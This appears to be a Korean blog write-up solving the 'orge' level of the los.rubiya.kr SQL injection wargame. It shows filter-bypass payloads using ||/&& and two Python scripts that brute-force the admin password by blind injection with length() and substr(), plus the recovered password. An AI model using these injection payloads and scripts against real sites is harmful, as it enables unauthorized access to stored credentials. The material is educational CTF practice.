[orge]
문제를 보니 preg_match함수에 의해 or과 and를 사용할 수없으므로 ||와 &&로 우회를 해줘야 한다.
그리고 다른 별다른 필터링이 없으므로 length와 substr을 이용하여 비밀번호를 구할수 있을것 같다.
?pw=' || id='admin' && length(pw)='숫자 를 이용하여 길이를 구하고
?pw=' || id='admin' && substr(pw,1,1)='문자 를 이용하여 패스워드를 구하면 된다.
import requests
for admin_len in range(99) :
URL='http://los.rubiya.kr/orge_bad2f25db233a7542be75844e314e9f3.php'
query={'pw': '\' || id=\'admin\' && length(pw)=\''+str(admin_len)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break
위의 python을 실행하면 비밀번호의 길이는 8인것을 알 수 있다.
import requests
password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/orge_bad2f25db233a7542be75844e314e9f3.php'
query={'pw': '\' || id=\'admin\' && substr(pw,1,'+str(admin_len+1)+')=\''+password+chr(admin_pass)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break
위의 python을 실행하면 비밀번호는 '7b751aec' 라는 것을 알 수 있다.
?pw=7b751aec를 입력하면 클리어!
'CTF_ > los.rubiya.kr' 카테고리의 다른 글
[los.rubiya.kr] vampire #9 (0) | 2018.08.26 |
---|---|
[los.rubiya.kr] troll #8 (0) | 2018.08.26 |
[los.rubiya.kr] darkelf #6 (0) | 2018.08.24 |
[los.rubiya.kr] wolfman #5 (0) | 2018.08.21 |
[los.rubiya.kr] orc #4 (4) | 2018.08.20 |
댓글